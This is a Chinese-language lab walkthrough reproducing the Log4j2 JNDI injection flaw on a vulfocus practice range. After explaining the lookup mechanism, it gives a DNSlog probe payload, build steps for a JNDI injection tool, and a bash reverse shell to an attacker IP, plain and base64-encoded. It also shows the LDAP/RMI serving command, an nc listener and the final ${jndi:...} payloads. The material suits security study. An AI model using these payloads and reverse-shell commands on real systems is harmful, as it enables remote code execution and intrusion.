这里选择使用vulfocue的靶场来进行复现
描述:
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源。例如,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j 会尝试通过 JNDI 去指定的 LDAP 服务器获取资源。
Java 的动态类加载机制:Java 的类加载器允许在运行时动态地加载类。当应用程序需要使用某个类时,如果该类尚未被加载到内存中,类加载器会根据类的名称去查找并加载它。这种机制使得 Java 应用程序具有很强的灵活性和扩展性,但也可能带来安全风险。
利用动态类加载执行代码:攻击者可以构造恶意的 JNDI 资源,当 Log4j 尝试通过 JNDI 去获取这个资源时,实际上可能会加载攻击者指定的恶意类。例如,攻击者在 LDAP 服务器上设置一个指向恶意类的链接,当 Log4j 执行lookup操作时,就会从 LDAP 服务器获取到这个恶意类的信息,并通过 Java 的类加载器将其加载到应用程序的内存中。一旦恶意类被加载,它就可以在目标系统上执行任意代码,例如创建新的进程、读取或修改敏感数据、建立反向连接等。
logger.info("system propety: ${jndi:schema://url}");
1.启动环境
点击问号跳转
发现url会出现变化
schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。
漏洞利用语句如下(替换 schema://url):
${jndi:schema://url}
验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。
DNSLog Platform
输入下面的内容,注意替换你自己获得的域名
${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}
这里注意,进行url编码
Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息
JNDI 注入工具安装
首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换到 JNDI-Injection-Exploit 目录
cd JNDI-Injection-Exploit
编译安装,在该目录下执行如下命令
mvn clean package -DskipTests
编译安装完成后,我们会得到一个 jar 文件
位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在运行结果的最后有给出:
切换进入到 target 目录:
cd target
2、工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"
3、服务站点部署
反弹 shell 到目标主机端口,这里以 7777 端口为例
bash -i >& /dev/tcp/192.168.217.134/7777 0>&1
对命令进行 base64 编码 (命令必须经过编码,不然无法实现)
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip
利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上
在 target 目录下,执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"
4、开启端口监听
再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)
nc -lvvp 7777
5、反弹shell
使用上述给出的 payload 路径构造完整 payload
比如:
${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}
我们可以针对不同版本和不同情况使用不同的服务和不同的 payload
url编码
成功反弹shell